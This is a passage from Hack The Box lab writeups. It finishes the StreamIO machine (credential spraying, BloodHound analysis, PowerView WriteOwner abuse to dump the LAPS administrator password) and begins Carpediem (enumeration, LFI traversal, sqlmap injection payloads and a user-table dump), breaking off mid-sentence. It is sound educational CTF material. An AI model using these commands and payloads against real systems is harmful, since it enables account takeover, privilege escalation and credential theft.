 }
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
```

We have several new credentials and a new virtual host. Let's add the `slack.streamio.htb` domain to `/etc/hosts`: `echo "10.10.11.158 slack.streamio.htb" | sudo tee -a /etc/hosts`.

Let's fuzz for directories: `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://slack.streamio.htb/FUZZ`, which finds nothing. Checking for `php` files also finds nothing.

We can check if we have a valid set of credentials by putting our current usernames (`JDgodd`, `Martin`, `nikk37`) in a file called `users.txt` and passwords in a file called `passwords.txt`, and then running `crackmapexec smb streamio.htb -u users.txt -p passwords.txt` ([relevant documentation](https://wiki.porchetta.industries/smb-protocol/authentication/checking-credentials-domain), [GitHub repo](https://github.com/Porchetta-Industries/CrackMapExec)):

```
SMB         streamIO.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         streamIO.htb    445    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
```

So, we know that `JDgodd:JDg0dd1s@d0p3cr3@t0r` is a valid login, but it won't work with evil-winrm.

## Privilege Escalation

Let's scan the machine using [BloodHound](https://github.com/BloodHoundAD/BloodHound): "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."

BloodHound only analyzes data though. We need to use [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) ([download](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)) to collect data. There are other data collectors but SharpHound is the only officially support collector.

Upload SharpHound.exe and run it:

```
*Evil-WinRM* PS C:\Users\nikk37\Documents> .\SharpHound.exe
2022-07-29T23:35:16.1106010-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-07-29T23:35:16.1106010-07:00|INFORMATION|Initializing SharpHound at 11:35 PM on 7/29/2022
2022-07-29T23:35:16.2980659-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-07-29T23:35:16.4699508-07:00|INFORMATION|Beginning LDAP search for streamIO.htb
2022-07-29T23:35:16.5012185-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-07-29T23:35:16.5012185-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-07-29T23:35:47.1823776-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 35 MB RAM
2022-07-29T23:36:06.1964563-07:00|INFORMATION|Consumers finished, closing output channel
2022-07-29T23:36:06.2277058-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2022-07-29T23:36:06.4777324-07:00|INFORMATION|Status: 97 objects finished (+97 1.94)/s -- Using 40 MB RAM
2022-07-29T23:36:06.4777324-07:00|INFORMATION|Enumeration finished in 00:00:50.0253494
2022-07-29T23:36:06.6027039-07:00|INFORMATION|SharpHound Enumeration Completed at 11:36 PM on 7/29/2022! Happy Graphing!
```

To get BloodHound setup, you can [follow this guide](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux). Then, just download the zip file ([20220729233606\_BloodHound.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/StreamIO/20220729233606_BloodHound.zip)) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets."

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-355303fb6f46e17c249ca6f5dd6cdf3fb014d1c8%2Fgraph.png?alt=media)

The important part is this region:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e26a4d3acb351fafbdbe2101812903641b729b2f%2Fgraph_zoom.png?alt=media)

From this graph, we can see that the `JDgodd` user has `WriteOwner` permissions on the `CORE_STAFF` group, and that group has the ability to read the LAPS password.

According to [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#laps), "LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES."

According to [HackTrick's Active Directory Methodology](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#writeowner-on-group), "Some of the Active Directory object permissions and types that we as attackers are interested in: WriteOwner - change object owner to attacker controlled user take over the object." [This page](https://zflemingg1.gitbook.io/undergrad-tutorials/active-directory-acl-abuse/writeowner-exploit) is also helpful: "Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc). The WriteOwner permission can be abused by an attacker to change the object owner to an attacker controlled user and take over the object."

Additionally, according to [this article about WriteOwner](https://docs.tenable.com/tenablead/3_x/Content/User/AttackPath/WriteOwner.htm), "The Source security principal has the permission to change the owner of the Target object, including assigning themselves as the owner. Owners have implicit rights, "Read Control" and "Write DACL", that allow them to obtain additional rights for themselves or for someone else, and ultimately compromise the Target object."

So, the attack idea is to add `JDgodd` to the `CORE_STAFF` using the `JDgodd` user, since he owns that group but is not yet a member of it. Once `JDgodd` is in the `CORE_STAFF` group, they will be able to read the LAPS password and we can use that to get Administrator.

We will use [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) to simplify the commands. Upload it to the target and import it with `Import-Module .\PowerView.ps1`. We follow [this guide](https://pscustomobject.github.io/powershell/howto/PowerShell-Create-Credential-Object/) to create the PSCredential object. Documentation for commands: [Add-DomainObjectAcl](https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/), [Add-DomainGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainGroupMember/), and [Get-ADComputer](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer?view=windowsserver2022-ps).

```powershell
# Define clear text string for username and password
[string]$userName = 'STREAMIO\JDgodd'
[string]$userPassword = 'JDg0dd1s@d0p3cr3@t0r'
# Convert to SecureString
[securestring]$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force
# Create PSCredential
[pscredential]$credObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword)

# Give JDgodd all rights on the "Core Staff" group
Add-DomainObjectAcl -TargetIdentity "Core Staff" -PrincipalIdentity $userName -Rights All -Credential $credObject
# Add JDgodd as a member of the "Core Staff" group
Add-DomainGroupMember -Identity "Core Staff" -Members "STREAMIO\JDgodd" -Credential $credObject
# Dump the LAPS password as JDgodd
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime -Credential $credObject
```

(By the way, the last command is from my [Timelapse machine writeup](/machines/timelapse))

This produces the following:

```
DistinguishedName           : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName                 : DC.streamIO.htb
Enabled                     : True
ms-Mcs-AdmPwd               : c5LUR48;CYA8Y1
ms-Mcs-AdmPwdExpirationTime : 133037099027928466
Name                        : DC
ObjectClass                 : computer
ObjectGUID                  : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName              : DC$
SID                         : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName           :
```

With the local Administrator password `c5LUR48;CYA8Y1`, we can use evil-winrm to connect as the Adminstrator: `evil-winrm -u Administrator -p "c5LUR48;CYA8Y1" -i streamio.htb`.

The `root.txt` flag is not located at `C:\Users\Administrator\Desktop\root.txt`, but we remember from before that there is another admin called `Martin`. Sure enough we get the `root.txt` flag with `cat C:\Users\Martin\Desktop\root.txt`.


# Carpediem

## Summary

This is a hard box with many steps, but each step is relatively simple.

Nmap finds SSH and an Nginx web server on port `80`. The web server is just a countdown page so we scan for virtual hosts and find `portal.carpediem.htb`, which is a motorcycle store. We find LFI and SQLi attacks, but neither give us any useful information. There is also an admin page at `/admin`. We create an account and notice a strange parameter in the POST request that is sent when we edit our profile. Changing that parameter and then going to `/admin` gives us access to the admin portal. We can upload a profile picture, so we create a legitimate PNG image and then embed PHP code in the metadata of the image. This gives a reverse shell into a Docker container.

Inside the Docker container's web server files, we find credentials for the database that we could access before through SQLi. We also find an api key and a username for a service called [Trudesk](https://github.com/polonel/trudesk) at `trudesk.carpediem.htb`. Using the API and searching for vulnerabilities reveals nothing yet. Using LinPEAS, we find some other devices on the network, which are probably other Docker containers. So, we upload a static `nmap` binary and scan the local Docker network. Using [chisel](https://github.com/jpillora/chisel), we forward the port for each service to determine what they are. We find a [Backdrop CMS](https://backdropcms.org/) instance and a MongoDB server. The MongoDB server is unprotected and contains the Trudesk database. So, we look at the `users` collection and grab a different API key.

Using that API key we can view the tickets in Trudesk, which give us instructions and credentials for [Zoiper](https://www.zoiper.com/), a softphone to make VoIP calls. We sign in as a user and hear their voicemail, which contains their SSH password. On the box, we get the `user.txt` flag. LinPEAS alerts us that `/usr/sbin/tcpdump` can sniff all network traffic due to the capabilities it has. We capture traffic on the `docker0` network and find an SSL key at `/etc/ssl/certs/backdrop.carpediem.htb.key`. We decrypt the data in Wireshark with the SSL key, revealing a POST request with a username and password for the Backdrop CMS we found earlier.

We port forward and sign into Backdrop CMS. We are able to upload a malicious plugin and gain code execution, which gives us a reverse shell. We are in yet another Docker container as the `www-data` user. We notice that there is a script that runs as `root` every 10 seconds to make sure that the CMS is still running. The script will load the index page so we replace `index.php` with a reverse shell and get `root` on the container. We realize that we are running in a privileged container, so we [abuse linux cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) to give `/bin/bash` the SUID bit on the host. Then, we simply run `bash -p` on the host and get the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.167 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.167`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 96:21:76:f7:2d:c5:f0:4e:e0:a8:df:b4:d9:5e:45:26 (RSA)
|   256 b1:6d:e3:fa:da:10:b9:7b:9e:57:53:5c:5b:b7:60:06 (ECDSA)
|_  256 6a:16:96:d8:05:29:d5:90:bf:6b:2a:09:32:dc:36:4f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Comming Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Nginx (Port `80`)

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-4c8327f65c66a275d1d271b44ae54a2a74a63cde%2FScreenshot%202022-07-30%20at%2014-15-37%20Comming%20Soon.png?alt=media)

We see a reference to `Carpediem.htb`, so let's add that domain to `/etc/hosts`: `echo "10.10.11.167 carpediem.htb" | sudo tee -a /etc/hosts`. It brings us to the same website.

Bruteforcing for directories on `carpediem.htb` port `80` via `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://carpediem.htb/FUZZ`:

```
img                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 35ms]
                        [Status: 200, Size: 2875, Words: 714, Lines: 59, Duration: 38ms]
scripts                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 30ms]
styles                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 29ms]
                        [Status: 200, Size: 2875, Words: 714, Lines: 59, Duration: 26ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1452 req/sec :: Duration: [0:01:08] :: Errors: 0 ::
```

### Virtual Host Scanning

Now that we know the domain name, we can scan for other virtual hosts. Let's scan for subdomains with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://carpediem.htb/ -H "Host: FUZZ.carpediem.htb" -fs 2875`:

```
portal                  [Status: 200, Size: 29024, Words: 7040, Lines: 443, Duration: 48ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1250 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
```

Let's add the newly discovered `portal` virtual host to `/etc/hosts`: `echo "10.10.11.167 portal.carpediem.htb" | sudo tee -a /etc/hosts`. It brings us to the same website.

### `portal.carpediem.htb`

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-497fc08124f4058853226c1aa083bbf4d69f22f6%2FScreenshot%202022-07-30%20at%2014-23-47%20Motorcycle%20Store%20Portal.png?alt=media)

Let's scan for directories with `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://portal.carpediem.htb/FUZZ`:

```
                        [Status: 200, Size: 29024, Words: 7040, Lines: 443, Duration: 47ms]
uploads                 [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 32ms]
admin                   [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 30ms]
assets                  [Status: 301, Size: 329, Words: 20, Lines: 10, Duration: 27ms]
plugins                 [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 28ms]
classes                 [Status: 301, Size: 330, Words: 20, Lines: 10, Duration: 34ms]
dist                    [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 30ms]
inc                     [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 29ms]
build                   [Status: 301, Size: 328, Words: 20, Lines: 10, Duration: 30ms]
libs                    [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 28ms]
                        [Status: 200, Size: 29024, Words: 7040, Lines: 443, Duration: 40ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1125 req/sec :: Duration: [0:01:20] :: Errors: 0 ::
```

There is an `uploads` directory that we cannot access (Forbidden). The `admin` page redirects to `http://portal.carpediem.htb/admin/login.php` and has a login form:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9013cc87344cd161ab7072a681803824522ecef2%2FScreenshot%202022-07-30%20at%2014-26-06%20Motorcycle%20Store%20Portal.png?alt=media)

Trying a few common logins (`admin:admin`, etc.) doesn't work. We look at the login request in Firefox developer tools and run `sqlmap` with `sqlmap -u http://portal.carpediem.htb/classes/Login.php\?f\=login --data username=a\&password=a --random-agent --batch --level 3 --risk 2`, which finds no injections. Navigating directly to `http://portal.carpediem.htb/classes/Login.php` just says "Access Denied," so it's probably not worth bruteforcing files in the `classes/` directory.

The main `portal.carpediem.htb` site has a few features: it lists motorcycles we can rent, we can search for different bikes, and we can login to or create an account. In order to book a bike, you need to be logged in.

We can try some LFI on the `p` (page) parameter with `ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://portal.carpediem.htb/\?p\=FUZZ -fs 17882`. For instance, going to `http://portal.carpediem.htb/?p=../../../../../../../../../../etc/passwd%00` shows this:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-edda045a91f708f45787a29d3d14e81f5d545209%2FScreenshot%202022-07-30%20at%2015-05-44%20Motorcycle%20Store%20Portal.png?alt=media)

Eventually (after finding the right number of `../`), we can figure out that `http://portal.carpediem.htb/?p=../../../../var/www/html/portal/about` is the same thing as `http://portal.carpediem.htb/?p=about`.

Additionally, we try SQL injection on the `view_bike` page: `sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch`:

```
[15:08:40] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[15:08:41] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=c214041ad46...15904fad1b'). Do you want to use those [Y/n] Y
[15:08:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:08:41] [INFO] testing if the target URL content is stable
[15:08:41] [INFO] target URL content is stable
[15:08:41] [INFO] testing if GET parameter 'p' is dynamic
[15:08:42] [INFO] GET parameter 'p' appears to be dynamic
[15:08:42] [WARNING] heuristic (basic) test shows that GET parameter 'p' might not be injectable
[15:08:42] [INFO] testing for SQL injection on GET parameter 'p'
[15:08:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:08:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:08:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:08:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:08:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:08:44] [INFO] testing 'Generic inline queries'
[15:08:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:08:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:08:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:08:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:08:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[15:08:45] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[15:08:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:08:46] [WARNING] GET parameter 'p' does not seem to be injectable
[15:08:46] [INFO] testing if GET parameter 'id' is dynamic
[15:08:46] [INFO] GET parameter 'id' appears to be dynamic
[15:08:46] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[15:08:46] [INFO] testing for SQL injection on GET parameter 'id'
[15:08:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:08:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="V4")
[15:08:47] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:08:47] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[15:08:47] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[15:08:47] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[15:08:47] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[15:08:47] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[15:08:48] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[15:08:48] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[15:08:48] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[15:08:48] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[15:08:48] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[15:08:48] [INFO] testing 'Generic inline queries'
[15:08:48] [INFO] testing 'MySQL inline queries'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[15:08:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[15:08:48] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[15:08:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:08:59] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[15:08:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:08:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:08:59] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:08:59] [INFO] target URL appears to have 12 columns in query
[15:09:00] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 166 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view_bike&id=98f13708210194c475687be6106a3b84' AND 8690=8690 AND 'rPUy'='rPUy

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=view_bike&id=98f13708210194c475687be6106a3b84' AND (SELECT 2500 FROM (SELECT(SLEEP(5)))uxmH) AND 'CRze'='CRze

    Type: UNION query
    Title: Generic UNION query (NULL) - 12 columns
    Payload: p=view_bike&id=-9503' UNION ALL SELECT CONCAT(0x716b6a7671,0x63506c78724a457a424f5369625074486a4b45515a7864706576726a4442506e6e4e6d6977544246,0x716b7a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[15:09:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP, Nginx 1.18.0, PHP 7.4.25
back-end DBMS: MySQL >= 5.0.12
```

We append `--tables` to the `sqlmap` command and find this:

```
Database: portal
[7 tables]
+---------------------------------------+
| bike_list                             |
| brand_list                            |
| categories                            |
| file_list                             |
| rent_list                             |
| system_info                           |
| users                                 |
+---------------------------------------+
```

We can them dump the users table with `sqlmap -u http://portal.carpediem.htb/\?p\=view_bike\&id\=98f13708210194c475687be6106a3b84 --random-agent --batch -D portal -T users --dump`:

```
[15:11:53] [INFO] fetching columns for table 'users' in database 'portal'
[15:11:53] [INFO] fetching entries for table 'users' in database 'portal'
[15:11:53] [INFO] recognized possible password hashes in columns 'last_login, lastname, login_type'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[15:11:53] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[15:11:53] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:11:53] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[15:11:53] [INFO] starting 4 processes
[15:11:55] [INFO] cracked password 'amy' for hash '7771fbb20af6ef10827c593daa3aff7b'
[15:11:58] [INFO] cracked password 'test' for hash '098f6bcd4621d373cade4e832627b4f6'
[15:11:59] [INFO] cracked password 'test123' for hash 'cc03e747a6afbbcbf8be7668acfebee5'
Database: portal
Table: users
[5 entries]
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
| id    | avatar                                  | gender | address      | contact                | lastname                                   | password | username | firstname | date_added          | last_login                              | login_type                              | date_updated                  |
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
| 1     | uploads/1635793020_HONDA_XADV.png       | Male   | <blank>      | jhammond@carpediem.htb | 1                                          | admin    | <blank>  | Jeremy    | 2021-01-20 14:02:37 | Hammond                                 | b723e511b084ab84b44235d82da572f3        | 2022-04-01 23:34:50           |
| 25    | uploads/1659195060_Screenshot (222).png | Male   | test3        | 34234324234            | 1                                          | test4    | <blank>  | test2     | 2022-07-29 17:26:02 | test2                                   | 098f6bcd4621d373cade4e832627b4f6 (test) | 2022-07-30 15:31:57           |
| 1     | 37532984                                | test3  | test4        | 2022-07-29 19:25:37    | test5                                      | <blank>  | <blank>  | 26        | test2               | 098f6bcd4621d373cade4e832627b4f6 (test) | <blank>                                 | Male                          |
| hamdy | 12345678                                | 27     | TherernThere | 2022-07-30 14:55:07    | cc03e747a6afbbcbf8be7668acfebee5 (test123) | <blank>  | <blank>  | Male      | 2022-07-30 15:25:01 | 2                                       | <script>confirm(111)</script>           | <script>confirm(111)</script> |
| amy   | amy                                     | 28     | amy          | 2022-07-30 18:32:15    | 7771fbb20af6ef10827c593daa3aff7b (amy)     | <blank>  | <blank>  | Male      | 2022-07-30 18:43:51 | 1                                       | amy                                     | amy                           |
+-------+-----------------------------------------+--------+--------------+------------------------+--------------------------------------------+----------+----------+-----------+---------------------+-----------------------------------------+-----------------------------------------+-------------------------------+
```

The table above is the formatted correctly, but `b723e511b084ab84b44235d82da572f3` is probably the `admin`'s password hash. `sqlmap`'s built-in password hash cracking can't crack it and neither can [CrackStation](https://crackstation.net/).

Let's create an account:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-cde20c30590d73a529fccc5a2068d823a9df4427%2FScreenshot%202022-07-30%20at%2014-30-40%20Motorcycle%20Store%20Portal.png?alt=media)

We can now book a bike and it will show up on our account page at `http://portal.carpediem.htb/?p=my_account`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-68223e6c2b4eaf65606c1af7e761811196865c42%2FScreenshot%202022-07-30%20at%2014-39-29%20Motorcycle%20Store%20Portal.png?alt=media)

Clicking on "Manage Account" in the top right let's us edit our registration details.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-dc03175c8c670bbddf8191c6baee273c324284ec%2FScreenshot%202022-07-30%20at%2014-42-23%20Motorcycle%20Store%20Portal.png?alt=media)

Clicking "Update" logs this request in burpsuite:

